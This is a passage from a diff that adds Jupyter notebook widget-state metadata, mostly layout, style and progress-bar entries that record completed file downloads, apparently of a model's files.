+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "650c369ee9e148938901a200fc552015": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a09f4245b86c462c96ab6ccab5c15a3e",
+              "IPY_MODEL_3e841b3ce0d346b3935f1f98aab4b2c2",
+              "IPY_MODEL_cb67c30a0e17426dbabfd0b8203b68e1"
+            ],
+            "layout": "IPY_MODEL_443419a42dea495281d203876cac6ba5"
+          }
+        },
+        "654b6f85254e4f34a11629857884ef70": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_350ec18692bf47e4830c323cc9507205",
+              "IPY_MODEL_7a2b492455264f99882321fc497bf50a",
+              "IPY_MODEL_6796e003990f4eb88f8a31cc2d2d70e8"
+            ],
+            "layout": "IPY_MODEL_b82612788b2347eb9c75035d9c93bc3a"
+          }
+        },
+        "674124ad99b74606974a35e39d9d64b8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_41241cf9767d4b5e9e4342b49827addd",
+            "placeholder": "",
+            "style": "IPY_MODEL_334cb7cc7a30431fb966da39f0b987c2",
+            "value": " 908/908 [00:00<00:00, 10.7kB/s]"
+          }
+        },
+        "674320eb489145aaac546a1368f523a6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6796e003990f4eb88f8a31cc2d2d70e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_211d139eafbf4105b4e6578da8b017de",
+            "placeholder": "",
+            "style": "IPY_MODEL_39e30ef21b65498a8e46cca071ec3a34",
+            "value": " 736/736 [00:00<00:00, 19.4kB/s]"
+          }
+        },
+        "685558e2fe194c2a9f190fb4a042def5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ca28e6c2293348d699f18cd2468b0a3e",
+              "IPY_MODEL_15726e462972430d81534ef1804e8b56",
+              "IPY_MODEL_ba63f63323334fe89d70bd7708ab2c39"
+            ],
+            "layout": "IPY_MODEL_2afd9510b70944f28043a89ec4505c5c"
+          }
+        },
+        "68c74e97b5a8407b9d22e8154ed7f712": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "68ebeda8423e4bb8843dfb5ab5325b3a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_258bb2d0ad2040adb2e73449c3da1627",
+            "placeholder": "",
+            "style": "IPY_MODEL_818a109920cf4048a1167f2fc7355243",
+            "value": "Downloading: 100%"
+          }
+        },
+        "695046012c094e3f8fa5e6a22db489b8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_da2ce014843a46dbb56a1040e880f52e",
+              "IPY_MODEL_06badb4c7c2841ec81fda124200b78c7",
+              "IPY_MODEL_4282bb7c25f24ba793391b9399397cdd"
+            ],
+            "layout": "IPY_MODEL_c244d51cfbaf4aa9a67fe32df1b40ef2"
+          }
+        },
+        "6955009d3c9a4ac49a74de735e5682a4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "69cfb5b1ec0b41c7b146a55e94ac0811": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e45b3ed13185494d820e8c60cc31607e",
+            "max": 328515953,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_113ca3012eff4d1faea67698f6a7788f",
+            "value": 328515953
+          }
+        },
+        "6bad3d658e444fca828a0ab58a784fa9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6bc4646173104ebb8cb45515673a709e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "6c97cd7d1c9642e3bb0a2db35f7d254e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_1399ce80407d4a04ae58a972b027e251",
+              "IPY_MODEL_ba819fd5899b4e26915129c4d1ae323a",
+              "IPY_MODEL_97b0390278424f8897b073677cfc5ce9"
+            ],
+            "layout": "IPY_MODEL_48140db808c445ef842addfaacbd274e"
+          }
+        },
+        "6ce3c851ffb04802a25563c571090965": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b6a0781e588e44fdb0c1c039d67565f9",
+              "IPY_MODEL_cc87b4647f1a49d4b8f341eb4f94993c",
+              "IPY_MODEL_847c788ad0d74532ab133f598aabe893"
+            ],
+            "layout": "IPY_MODEL_db54eaec048a47ab954bd227c319de37"
+          }
+        },
+        "6e4b1e9c7ad242b9b46b0247cb1a5b72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_68ebeda8423e4bb8843dfb5ab5325b3a",
+              "IPY_MODEL_3aa4eb22905d4ff7b1de55e88f18284e",
+              "IPY_MODEL_12c3328918f141cd8abe8a051a99208f"
+            ],
+            "layout": "IPY_MODEL_9d439c7d992c4b75b216a81e6139aeb3"
+          }
+        },
+        "6e4f8d19fd8d46a1b828cbcae50b5e13": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "709ac2c430454dad92c650b5acc688a9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "714869341c534ce5be22daaff1cceeae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7158271455c24304908f54673337a45b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "72349d7da012411aa9d4be9df0596ea7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3204c0d867754a42889d3ad150bc803e",
+            "placeholder": "",
+            "style": "IPY_MODEL_52e70340a8834a3e94dd141a7aeb09f0",
+            "value": " 1.84k/1.84k [00:00<00:00, 22.4kB/s]"
+          }
+        },
+        "728a0f5f5b6740349ae326fc07a94c39": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "72b85f88cb274e7b83b3bcf183d80997": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "738df3c939314758b9f35b1218451b5d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "73a0fdfb6ade4e1995a70237bfc7bc65": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f05ba606de8a41cd9a62ae3fba0b9982",
+            "placeholder": "",
+            "style": "IPY_MODEL_74c1cab772204a97a3c0618e30fe57ec",
+            "value": " 1.18k/1.18k [00:00<00:00, 19.9kB/s]"
+          }
+        },
+        "745e710bf1c240ff995a9f3df04295f0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "74c1cab772204a97a3c0618e30fe57ec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "74d7589e9bac4f0e9144f10be9b84926": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "762d0a8e81a54917801dd02e8245b240": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "76940a4c52d246fab882a7f0f8f24d72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d5db9f65c0a14747830e195683196f7b",
+            "placeholder": "",
+            "style": "IPY_MODEL_f8a49feb20174213b9b3745344e18203",
+            "value": " 26.0/26.0 [00:00<00:00, 634B/s]"
+          }
+        },
+        "76e52975e43d4c268947578f56fc4d0b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "776a604ae27a4c6d8cf49e84aeefa2da": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "792402d8bd874d04a94642473184a8e4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bf2122c4a29d44a9ac2f64c4b76c0f60",
+            "placeholder": "",
+            "style": "IPY_MODEL_44b5e5229d0345ddb87042cc3e18133c",
+            "value": " 1.74k/1.74k [00:00<00:00, 43.1kB/s]"
+          }
+        },
+        "7a2b492455264f99882321fc497bf50a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
